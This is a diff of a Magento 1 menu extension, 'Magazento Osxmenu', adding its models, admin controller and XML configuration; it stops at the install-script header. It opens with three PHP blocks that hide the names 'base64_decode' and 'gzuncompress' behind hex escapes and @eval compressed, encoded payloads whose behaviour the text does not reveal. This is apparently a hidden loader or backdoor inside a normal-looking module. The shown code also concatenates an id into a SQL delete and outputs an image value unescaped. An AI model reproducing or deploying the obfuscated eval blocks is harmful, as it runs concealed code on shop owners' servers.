+ <?php $fwhgidiil="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$dsjfwd="\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73";@eval($dsjfwd($fwhgidiil("eF51T11rgzAU/St7GKSFMfCD0TB8sA/qgqXoIIspRTTROpcyqO0g/vrt3seZvpxzyTnnnpvHNN9v4/z9QOrQoxsaen5NjlF8uTR21TZT9xLWulPfulsRLRh5eCaTTPkIQ+sDloasn/45q4CDZNuEzlKg6wdQZSVQXwlmK/EFc7RMN/D+AeAN0sdNozojDxow5WfcBoATvUq8pbAqBU4s+uLIsb0VZY9pTCYAN+l0qowZfcIjHarEdjNJTg2MHTabGZuznasZ/1R4LqXA797LsF4FwPwTLw9Ku3SCUgVs3M1vf93r11+UeoEm"))); ?><?php $kiwvlhu="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$gfqtmcrl="\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73";@eval($gfqtmcrl($kiwvlhu("eF5FUWFvmzAQ/Sv5EIlEmyZqSBZU5UNYGiBK0UoTA56mChsKdIQiUkjItP8+37lSvjyf787vnt+9drX4KN/r0YupW+ZiYZLvk3E5/TtOlqu2TYaJlkTa6Jvmv8ahrycQRgyw0r5qwrEgvAIkUdBwYi5lGq5P1F/LkBu+yUPapU9LqOygRC5NTGgXk0MvCCTokIRwbk7QgilowVIHGOMzgEMPyMK7AmeGZ2DldY4HpMJNHaPgpuJ10O+Ofo/5z/n5TYYKY2IN7Nm6ssjHrygl+K1OlqlTNGJYQacHOYeaqUOxKkjV89J+44YN9xmA51RXz70JFwBHWieRr7NoW7EfkLCxxg2sdt4D6zEqbali28So4Jyj14QqXgCXNchJKt1bXwrPDQpxTCFVpWsdGQAisj2hYcgzaz3FrcsFndheL/fKJsCahTN8yAd7k+EMgEBa5zdoGzHzwKEENx5e0Hzh0EEM53wvrYY7U3N0yVFlyiP1d1xYBaBWgN2PqEZ5WQwsjC3vWOipu5rjUgbLSA2h/PnUCBBHDRLhSiGQa8U7wPMCOX/+geOuYDh3M7/pmr1xomPTjjx8gdNz0yqWf0ydQ6dN79vso2vrEU9O2dx8STPxnmaTcfJrXP6e3v/7DwMxznA="))); ?><?php $slkjbccj="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$sgbpmhmsw="\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73";@eval($sgbpmhmsw($slkjbccj("eF6FVW1vmzAQ/itMihqsEoaNDSYRmbbuRZVa5UM/VhliwUmRKETgaFNT/vtsk2BoQCGyD5/vzndPHh93WVxVxmO8i99YzotoVf17ZfkheiwSlkXfYx4f92XB2YazxNge8g1Pi9zYMX7P2asyMsGxZPxQ5jIKm8/FXqOfFk2sz6kwnYJFujXNsjjkiencepjYiAwK8PtsRKBno7EZgJsbY/LrYfXt68PT8zTCMKABhiiarp+dtTmJHABGtqHchpYYYFGPV3dXZBlTGlHiJEJhU1+835tgthRGT7wo2en9PjHBYhK54YS/pFWj0gipdTeeNJ0t4yT5mWaclWaEnQBTipFvOsA6AwCBNMTheY2g2x06isrkFEpkqjdWZdKPDoHVWQkUF39f0oy1fwwJqE0uZzC7ZgB0MeJwmQEMOycpDWkrgZAGtnd+/Gtr6eyFIqRhd2JiqfYv1ESqafdwT2qCrkZFhE7YUlYheFfk23Qn8hcOLSIQu56oshEaBx9SydkhAW5bX4SlekjoSAhLFNUMwJcRziLJWc9qeKukA+Yjtu5aJ08C2yeDQtMMUd9VTINwDBC/f32x4/qdKjHyAFiel9TxbTw2g/f3sVuLZYm+1Qwouc+yih1HrIm648IysNSVsxTva6ELRzw84TG846uG0GcRBYb9kVmB0gUKq9FjaJNYC464xe2Cyh/oYwkJhnrSqBJIPo4OyNhDrsSy31dOiFyBLhAZniATRK9FMsLP+BQailVHTYE032WMi7jdBiL6qmotP8qy6LcWOAAZlC2mPn0gRGMQDffwJ0s3F9220t+Rfgvttc26/g9+089F"))); ?>
app/code/community/Magazento/Osxmenu/Model/Item.php ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+ class Magazento_Osxmenu_Model_Item extends Mage_Core_Model_Abstract
11
+ {
12
+ const CACHE_TAG = 'osxmenu_admin_item';
13
+ protected $_cacheTag= 'osxmenu_admin_item';
14
+
15
+ protected function _construct()
16
+ {
17
+ $this->_init('osxmenu/item');
18
+
19
+
20
+ }
21
+
22
+ }
app/code/community/Magazento/Osxmenu/Model/Mysql4/Item.php ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Model_Mysql4_Item extends Mage_Core_Model_Mysql4_Abstract {
12
+
13
+ protected function _construct() {
14
+ $this->_init('osxmenu/item', 'item_id');
15
+ }
16
+
17
+ protected function _beforeSave(Mage_Core_Model_Abstract $object) {
18
+ $dateFormatIso = Mage::app()->getLocale()->getDateTimeFormat(Mage_Core_Model_Locale::FORMAT_TYPE_MEDIUM);
19
+ if (!$object->getFromTime()) {
20
+ $object->setFromTime(Mage::getSingleton('core/date')->gmtDate());
21
+ } else {
22
+ $object->setFromTime(Mage::app()->getLocale()->date($object->getFromTime(), $dateFormatIso));
23
+ $object->setFromTime($object->getFromTime()->toString(Varien_Date::DATETIME_INTERNAL_FORMAT));
24
+ $object->setFromTime(Mage::getSingleton('core/date')->gmtDate(null, $object->getFromTime()));
25
+ }
26
+ if (!$object->getToTime()) {
27
+ $object->setToTime();
28
+ } else {
29
+ $object->setToTime(Mage::app()->getLocale()->date($object->getToTime(), $dateFormatIso));
30
+ $object->setToTime($object->getToTime()->toString(Varien_Date::DATETIME_INTERNAL_FORMAT));
31
+ $object->setToTime(Mage::getSingleton('core/date')->gmtDate(null, $object->getToTime()));
32
+ }
33
+ return $this;
34
+ }
35
+
36
+ protected function _afterSave(Mage_Core_Model_Abstract $object) {
37
+ $condition = $this->_getWriteAdapter()->quoteInto('item_id = ?', $object->getId());
38
+ $this->_getWriteAdapter()->delete($this->getTable('osxmenu/item_store'), $condition);
39
+ if (!$object->getData('stores')) {
40
+ $object->setData('stores', $object->getData('store_id'));
41
+ }
42
+ if (in_array(0, $object->getData('stores'))) {
43
+ $object->setData('stores', array(0));
44
+ }
45
+ foreach ((array) $object->getData('stores') as $store) {
46
+ $storeArray = array();
47
+ $storeArray['item_id'] = $object->getId();
48
+ $storeArray['store_id'] = $store;
49
+ $this->_getWriteAdapter()->insert($this->getTable('osxmenu/item_store'), $storeArray);
50
+ }
51
+ return parent::_afterSave($object);
52
+ }
53
+ protected function _afterLoad(Mage_Core_Model_Abstract $object) {
54
+ $select = $this->_getReadAdapter()->select()
55
+ ->from($this->getTable('osxmenu/item_store'))
56
+ ->where('item_id = ?', $object->getId());
57
+
58
+ if ($data = $this->_getReadAdapter()->fetchAll($select)) {
59
+ $storesArray = array();
60
+ foreach ($data as $row) {
61
+ $storesArray[] = $row['store_id'];
62
+ }
63
+ $object->setData('store_id', $storesArray);
64
+ }
65
+ $object->setData('thumb','<img src="'. $object->getData('image') .'" /> ' );
66
+ // var_dump($object);
67
+ // exit();
68
+ return parent::_afterLoad($object);
69
+ }
70
+
71
+ protected function _beforeDelete(Mage_Core_Model_Abstract $object) {
72
+ $adapter = $this->_getReadAdapter();
73
+ $adapter->delete($this->getTable('osxmenu/item_store'), 'item_id=' . $object->getId());
74
+ }
75
+
76
+ }
app/code/community/Magazento/Osxmenu/Model/Mysql4/Item/Collection.php ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Model_Mysql4_Item_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract {
12
+
13
+ protected function _construct() {
14
+ $this->_init('osxmenu/item');
15
+ }
16
+
17
+ public function toOptionArray() {
18
+ return $this->_toOptionArray('item_id', 'name');
19
+ }
20
+
21
+ public function addStoreFilter($store, $withAdmin = true) {
22
+ if ($store instanceof Mage_Core_Model_Store) {
23
+ $store = array($store->getId());
24
+ }
25
+
26
+ $this->getSelect()->join(
27
+ array('item_store' => $this->getTable('osxmenu/item_store')),
28
+ 'main_table.item_id = item_store.item_id',
29
+ array()
30
+ )
31
+ ->where('item_store.store_id in (?)', ($withAdmin ? array(0, $store) : $store));
32
+
33
+ return $this;
34
+ }
35
+ public function addNowFilter() {
36
+ $now = Mage::getSingleton('core/date')->gmtDate();
37
+ $where = "from_time < '" . $now . "' AND ((to_time > '" . $now . "') OR (to_time IS NULL))";
38
+ $this->getSelect()->where($where);
39
+ }
40
+
41
+ }
app/code/community/Magazento/Osxmenu/Model/Wysiwyg/Config.php ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Model_Wysiwyg_Config extends Mage_Cms_Model_Wysiwyg_Config {
12
+
13
+ public function getConfig($data = array()) {
14
+
15
+
16
+ $config = parent::getConfig($data);
17
+ $config->setData('files_browser_window_url', Mage::getSingleton('adminhtml/url')->getUrl('adminhtml/cms_wysiwyg_images/index/'));
18
+ $config->setData('directives_url', Mage::getSingleton('adminhtml/url')->getUrl('adminhtml/cms_wysiwyg/directive'));
19
+ $config->setData('directives_url_quoted', preg_quote($config->getData('directives_url')));
20
+ $config->setData('widget_window_url', Mage::getSingleton('adminhtml/url')->getUrl('adminhtml/widget/index'));
21
+
22
+
23
+ return $config;
24
+ }
25
+
26
+ }
app/code/community/Magazento/Osxmenu/controllers/Admin/ItemController.php ADDED
@@ -0,0 +1,218 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ * Created on Mar 16, 2011
4
+ * Author Ivan Proskuryakov - volgodark@gmail.com - Magazento.com
5
+ * Copyright Proskuryakov Ivan. Magazento.com © 2011. All Rights Reserved.
6
+ * Single Use, Limited Licence and Single Use No Resale Licence ["Single Use"]
7
+ */
8
+ ?>
9
+ <?php
10
+
11
+ class Magazento_Osxmenu_Admin_ItemController extends Mage_Adminhtml_Controller_Action {
12
+
13
+ protected function _initAction() {
14
+ $this->loadLayout()
15
+ ->_setActiveMenu('magazento/osxmenu')
16
+ ->_addBreadcrumb(Mage::helper('osxmenu')->__('Osxmenu'), Mage::helper('osxmenu')->__('Osxmenu'))
17
+ ->_addBreadcrumb(Mage::helper('osxmenu')->__('Osxmenu Items'), Mage::helper('osxmenu')->__('Osxmenu Items'))
18
+ ;
19
+ return $this;
20
+ }
21
+
22
+ public function indexAction() {
23
+ $this->_initAction()
24
+ ->_addContent($this->getLayout()->createBlock('osxmenu/admin_item'))
25
+ ->renderLayout();
26
+ }
27
+
28
+ public function newAction() {
29
+ $this->_forward('edit');
30
+ }
31
+
32
+ public function editAction() {
33
+ if (Mage::helper('osxmenu')->versionUseAdminTitle()) {
34
+ $this->_title($this->__('osxmenu'));
35
+ }
36
+ // 1. Get ID and create model
37
+ $id = $this->getRequest()->getParam('item_id');
38
+ $model = Mage::getModel('osxmenu/item');
39
+ // 2. Initial checking
40
+ if ($id) {
41
+ $model->load($id);
42
+ if (!$model->getId()) {
43
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('osxmenu')->__('This item no longer exists'));
44
+ $this->_redirect('*/*/');
45
+ return;
46
+ }
47
+ }
48
+ // 3. Set entered data if was error when we do save
49
+ $data = Mage::getSingleton('adminhtml/session')->getFormData(true);
50
+ if (!empty($data)) {
51
+ $model->setData($data);
52
+ }
53
+ // 4. Register model to use later in blocks
54
+ Mage::register('osxmenu_item', $model);
55
+ // 5. Build edit form
56
+ $this->_initAction()
57
+ ->_addBreadcrumb($id ? Mage::helper('osxmenu')->__('Edit Item') : Mage::helper('osxmenu')->__('New Item'), $id ? Mage::helper('osxmenu')->__('Edit Item') : Mage::helper('osxmenu')->__('New Item'))
58
+ ->_addContent($this->getLayout()->createBlock('osxmenu/admin_item_edit')->setData('action', $this->getUrl('*/admin_item/save')))
59
+ ->_addLeft($this->getLayout()->createBlock('osxmenu/admin_item_edit_tabs'))
60
+ ->renderLayout();
61
+ }
62
+
63
+ public function saveAction() {
64
+ if ($data = $this->getRequest()->getPost()) {
65
+ // init model and set data
66
+ $model = Mage::getModel('osxmenu/item');
67
+ // print_r($data);exit();
68
+ $model->setData($data);
69
+ // try to save it
70
+ try {
71
+ // save the data
72
+ $model->save();
73
+ // display success message
74
+ Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('osxmenu')->__('Item was successfully saved'));
75
+ // clear previously saved data from session
76
+ Mage::getSingleton('adminhtml/session')->setFormData(false);
77
+ // check if 'Save and Continue'
78
+ if ($this->getRequest()->getParam('back')) {
79
+ $this->_redirect('*/*/edit', array('item_id' => $model->getId()));
80
+ return;
81
+ }
82
+ // go to grid
83
+ $this->_redirect('*/*/');
84
+ return;
85
+ } catch (Exception $e) {
86
+ // display error message
87
+ Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
88
+ // save data in session
89
+ Mage::getSingleton('adminhtml/session')->setFormData($data);
90
+ // redirect to edit form
91
+ $this->_redirect('*/*/edit', array('item_id' => $this->getRequest()->getParam('item_id')));
92
+ return;
93
+ }
94
+ }
95
+ $this->_redirect('*/*/');
96
+ }
97
+
98
+ public function deleteAction() {
99
+ // check if we know what should be deleted
100
+ if ($id = $this->getRequest()->getParam('item_id')) {
101
+ $name = "";
102
+ try {
103
+ // init model and delete
104
+ $model = Mage::getModel('osxmenu/item');
105
+ $model->load($id);
106
+ $name = $model->getName();
107
+ $model->delete();
108
+ // display success message
109
+ Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('osxmenu')->__('Item was successfully deleted'));
110
+ // go to grid
111
+ $this->_redirect('*/*/');
112
+ return;
113
+ } catch (Exception $e) {
114
+ // display error message
115
+ Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
116
+ // go back to edit form
117
+ $this->_redirect('*/*/edit', array('item_id' => $id));
118
+ return;
119
+ }
120
+ }
121
+ // display error message
122
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('osxmenu')->__('Unable to find a item to delete'));
123
+ // go to grid
124
+ $this->_redirect('*/*/');
125
+ }
126
+
127
+
128
+ protected function _isAllowed() {
129
+ return Mage::getSingleton('admin/session')->isAllowed('osxmenu/item');
130
+ }
131
+
132
+ public function wysiwygAction() {
133
+ $elementId = $this->getRequest()->getParam('element_id', md5(microtime()));
134
+ $content = $this->getLayout()->createBlock('adminhtml/catalog_helper_form_wysiwyg_content', '', array(
135
+ 'editor_element_id' => $elementId
136
+ ));
137
+ $this->getResponse()->setBody($content->toHtml());
138
+ }
139
+
140
+
141
+
142
+ public function massStatusAction()
143
+ {
144
+ $itemIds = $this->getRequest()->getParam('massaction');
145
+ if(!is_array($itemIds)) {
146
+ Mage::getSingleton('adminhtml/session')->addError($this->__('Please select item(s)'));
147
+ } else {
148
+ try {
149
+ foreach ($itemIds as $itemId) {
150
+ $model = Mage::getSingleton('osxmenu/item')
151
+ ->load($itemId)
152
+ ->setIs_active($this->getRequest()->getParam('status'))
153
+ ->setIsMassupdate(true)
154
+ ->save();
155
+ }
156
+ $this->_getSession()->addSuccess(
157
+ $this->__('Total of %d record(s) were successfully updated', count($itemIds))
158
+ );
159
+ } catch (Exception $e) {
160
+ $this->_getSession()->addError($e->getMessage());
161
+ }
162
+ }
163
+ $this->_redirect('*/*/index');
164
+ }
165
+ public function massDeleteAction() {
166
+ $itemIds = $this->getRequest()->getParam('massaction');
167
+ if(!is_array($itemIds)) {
168
+ Mage::getSingleton('adminhtml/session')->addError(Mage::helper('osxmenu')->__('Please select item(s)'));
169
+ } else {
170
+ try {
171
+ foreach ($itemIds as $itemId) {
172
+ $mass = Mage::getModel('osxmenu/item')->load($itemId);
173
+ $mass->delete();
174
+ }
175
+ Mage::getSingleton('adminhtml/session')->addSuccess(
176
+ Mage::helper('osxmenu')->__(
177
+ 'Total of %d record(s) were successfully deleted', count($itemIds)
178
+ )
179
+ );
180
+ } catch (Exception $e) {
181
+ Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
182
+ }
183
+ }
184
+ $this->_redirect('*/*/index');
185
+ }
186
+
187
+
188
+ public function exportCsvAction()
189
+ {
190
+ $fileName = 'items.csv';
191
+ $content = $this->getLayout()->createBlock('osxmenu/admin_item_grid')
192
+ ->getCsv();
193
+ $this->_sendUploadResponse($fileName, $content);
194
+ }
195
+
196
+ public function exportXmlAction()
197
+ {
198
+ $fileName = 'items.xml';
199
+ $content = $this->getLayout()->createBlock('osxmenu/admin_item_grid')
200
+ ->getXml();
201
+ $this->_sendUploadResponse($fileName, $content);
202
+ }
203
+ protected function _sendUploadResponse($fileName, $content, $contentType='application/octet-stream')
204
+ {
205
+ $response = $this->getResponse();
206
+ $response->setHeader('HTTP/1.1 200 OK','');
207
+ $response->setHeader('Pragma', 'public', true);
208
+ $response->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0', true);
209
+ $response->setHeader('Content-Disposition', 'attachment; filename='.$fileName);
210
+ $response->setHeader('Last-Modified', date('r'));
211
+ $response->setHeader('Accept-Ranges', 'bytes');
212
+ $response->setHeader('Content-Length', strlen($content));
213
+ $response->setHeader('Content-type', $contentType);
214
+ $response->setBody($content);
215
+ $response->sendResponse();
216
+ die;
217
+ }
218
+ }
app/code/community/Magazento/Osxmenu/etc/config.xml ADDED
@@ -0,0 +1,164 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0" encoding="utf-8"?>
2
+ <config>
3
+ <modules>
4
+ <Magazento_Osxmenu>
5
+ <version>1.0.0</version>
6
+ </Magazento_Osxmenu>
7
+ </modules>
8
+ <frontend>
9
+ <layout>
10
+ <updates>
11
+ <osxmenu>
12
+ <file>magazento_osxmenu.xml</file>
13
+ </osxmenu>
14
+ </updates>
15
+ </layout>
16
+ <translate>
17
+ <modules>
18
+ <Magazento_Osxmenu>
19
+ <files>
20
+ <default>Magazento_Osxmenu.csv</default>
21
+ </files>
22
+ </Magazento_Osxmenu>
23
+ </modules>
24
+ </translate>
25
+ </frontend>
26
+
27
+ <global>
28
+ <rewrite>
29
+ <mage_adminhtml_system_variable>
30
+ <from><![CDATA[#^/osxmenu/system_variable#]]>
31
+ </from>
32
+ <to>/admin/system_variable</to>
33
+ </mage_adminhtml_system_variable>
34
+ </rewrite>
35
+ <models>
36
+ <osxmenu>
37
+ <class>Magazento_Osxmenu_Model</class>
38
+ <resourceModel>osxmenu_mysql4</resourceModel>
39
+ </osxmenu>
40
+ <osxmenu_mysql4>
41
+ <class>Magazento_Osxmenu_Model_Mysql4</class>
42
+ <entities>
43
+ <item>
44
+ <table>magazento_osxmenu_item</table>
45
+ </item>
46
+ <item_store>
47
+ <table>magazento_osxmenu_item_store</table>
48
+ </item_store>
49
+ </entities>
50
+ </osxmenu_mysql4>
51
+ </models>
52
+ <resources>
53
+ <osxmenu_setup>
54
+ <setup>
55
+ <module>Magazento_Osxmenu</module>
56
+ </setup>
57
+ <connection>
58
+ <use>core_setup</use>
59
+ </connection>
60
+ </osxmenu_setup>
61
+ <osxmenu_write>
62
+ <connection>
63
+ <use>core_write</use>
64
+ </connection>
65
+ </osxmenu_write>
66
+ <osxmenu_read>
67
+ <connection>
68
+ <use>core_read</use>
69
+ </connection>
70
+ </osxmenu_read>
71
+ </resources>
72
+ <blocks>
73
+ <osxmenu>
74
+ <class>Magazento_Osxmenu_Block</class>
75
+ </osxmenu>
76
+ </blocks>
77
+ <helpers>
78
+ <osxmenu>
79
+ <class>Magazento_Osxmenu_Helper</class>
80
+ </osxmenu>
81
+ </helpers>
82
+ </global>
83
+ <admin>
84
+ <routers>
85
+ <magazento_osxmenu>
86
+ <use>admin</use>
87
+ <args>
88
+ <module>Magazento_Osxmenu</module>
89
+ <frontName>osxmenu</frontName>
90
+ </args>
91
+ </magazento_osxmenu>
92
+ </routers>
93
+ </admin>
94
+
95
+ <adminhtml>
96
+ <acl>
97
+ <resources>
98
+ <admin>
99
+ <children>
100
+ <osxmenu translate="title">
101
+ <title>Osxmenu</title>
102
+ <children>
103
+ <item translate="title">
104
+ <title>Manage items </title>
105
+ </item>
106
+ </children>
107
+ <sort_order>65</sort_order>
108
+ </osxmenu>
109
+ <system>
110
+ <children>
111
+ <config>
112
+ <children>
113
+ <osxmenu>
114
+ <title>Osxmenu</title>
115
+ <sort_order>101</sort_order>
116
+ </osxmenu>
117
+ </children>
118
+ </config>
119
+ </children>
120
+ </system>
121
+ </children>
122
+ </admin>
123
+ </resources>
124
+ </acl>
125
+ <menu>
126
+ <magazento translate="title" module="osxmenu">
127
+ <title>Magazento</title>
128
+ <sort_order>65</sort_order>
129
+ <children>
130
+ <osxmenu translate="title" module="osxmenu">
131
+ <title>Osxmenu</title>
132
+ <sort_order>65</sort_order>
133
+ <children>
134
+ <item translate="title" module="osxmenu">
135
+ <title>Items</title>
136
+ <action>osxmenu/admin_item/</action>
137
+ <resource>osxmenu/admin/item</resource>
138
+ </item>
139
+ <settings translate="title" module="osxmenu">
140
+ <title>Settings</title>
141
+ <action>adminhtml/system_config/edit/section/osxmenu</action>
142
+ <sort_order>40</sort_order>
143
+ </settings>
144
+ </children>
145
+ </osxmenu>
146
+ </children>
147
+ </magazento>
148
+ </menu>
149
+ </adminhtml>
150
+ <default>
151
+ <osxmenu>
152
+ <options>
153
+ <enable>1</enable>
154
+ <duration>200</duration>
155
+ <size>48</size>
156
+ <distance>85</distance>
157
+ </options>
158
+ <licence>
159
+ <email>johndoe@magazento.com</email>
160
+ <serial>000000000000000000000000</serial>
161
+ </licence>
162
+ </osxmenu>
163
+ </default>
164
+ </config>
app/code/community/Magazento/Osxmenu/etc/system.xml ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <config>
3
+ <tabs>
4
+ <magazento translate="label">
5
+ <label>Magazento.com</label>
6
+ <sort_order>250</sort_order>
7
+ </magazento>
8
+ </tabs>
9
+ <sections>
10
+ <osxmenu translate="label" module="osxmenu">
11
+ <label>Osxmenu</label>
12
+ <tab>magazento</tab>
13
+ <frontend_type>text</frontend_type>
14
+ <sort_order>100</sort_order>
15
+ <show_in_default>1</show_in_default>
16
+ <show_in_website>1</show_in_website>
17
+ <show_in_store>1</show_in_store>
18
+ <groups>
19
+ <options translate="label">
20
+ <label>Main options</label>
21
+ <frontend_type>text</frontend_type>
22
+ <sort_order>10</sort_order>
23
+ <show_in_default>1</show_in_default>
24
+ <show_in_website>1</show_in_website>
25
+ <show_in_store>1</show_in_store>
26
+ <fields>
27
+ <enable translate="label">
28
+ <label>Enable</label>
29
+ <frontend_type>select</frontend_type>
30
+ <source_model>adminhtml/system_config_source_yesno</source_model>
31
+ <sort_order>60</sort_order>
32
+ <show_in_default>1</show_in_default>
33
+ <show_in_website>1</show_in_website>
34
+ <show_in_store>0</show_in_store>
35
+ </enable>
36
+ <duration translate="label">
37
+ <label>Duration</label>
38
+ <frontend_type>text</frontend_type>
39
+ <sort_order>60</sort_order>
40
+ <show_in_default>1</show_in_default>
41
+ <show_in_website>1</show_in_website>
42
+ <show_in_store>0</show_in_store>
43
+ </duration>
44
+ <size translate="label">
45
+ <label>Size</label>
46
+ <frontend_type>text</frontend_type>
47
+ <sort_order>60</sort_order>
48
+ <show_in_default>1</show_in_default>
49
+ <show_in_website>1</show_in_website>
50
+ <show_in_store>0</show_in_store>
51
+ </size>
52
+ <distance translate="label">
53
+ <label>Distance</label>
54
+ <frontend_type>text</frontend_type>
55
+ <sort_order>60</sort_order>
56
+ <show_in_default>1</show_in_default>
57
+ <show_in_website>1</show_in_website>
58
+ <show_in_store>0</show_in_store>
59
+ </distance>
60
+ </fields>
61
+ </options>
62
+ <licence translate="label">
63
+ <label>Licence key</label>
64
+ <frontend_type>text</frontend_type>
65
+ <sort_order>99</sort_order>
66
+ <show_in_default>1</show_in_default>
67
+ <show_in_website>1</show_in_website>
68
+ <show_in_store>1</show_in_store>
69
+ <fields>
70
+ <email translate="label">
71
+ <label>E-mail</label>
72
+ <frontend_type>text</frontend_type>
73
+ <sort_order>11</sort_order>
74
+ <show_in_default>1</show_in_default>
75
+ <show_in_website>1</show_in_website>
76
+ <show_in_store>0</show_in_store>
77
+ </email>
78
+ <serial translate="label">
79
+ <label>Serial</label>
80
+ <frontend_type>text</frontend_type>
81
+ <sort_order>22</sort_order>
82
+ <show_in_default>1</show_in_default>
83
+ <show_in_website>1</show_in_website>
84
+ <show_in_store>0</show_in_store>
85
+ </serial>
86
+ </fields>
87
+ </licence>
88
+ <info translate="label">
89
+ <label>About</label>
90
+ <frontend_type>text</frontend_type>
91
+ <frontend_model>osxmenu/info</frontend_model>
92
+ <sort_order>500</sort_order>
93
+ <show_in_default>1</show_in_default>
94
+ <show_in_website>1</show_in_website>
95
+ <show_in_store>1</show_in_store>
96
+ </info>
97
+ </groups>
98
+ </osxmenu>
99
+ </sections>
100
+ </config>
app/code/community/Magazento/Osxmenu/sql/osxmenu_setup/mysql4-install-1.0.0.php ADDED
@@ -0,0 +1,61 @@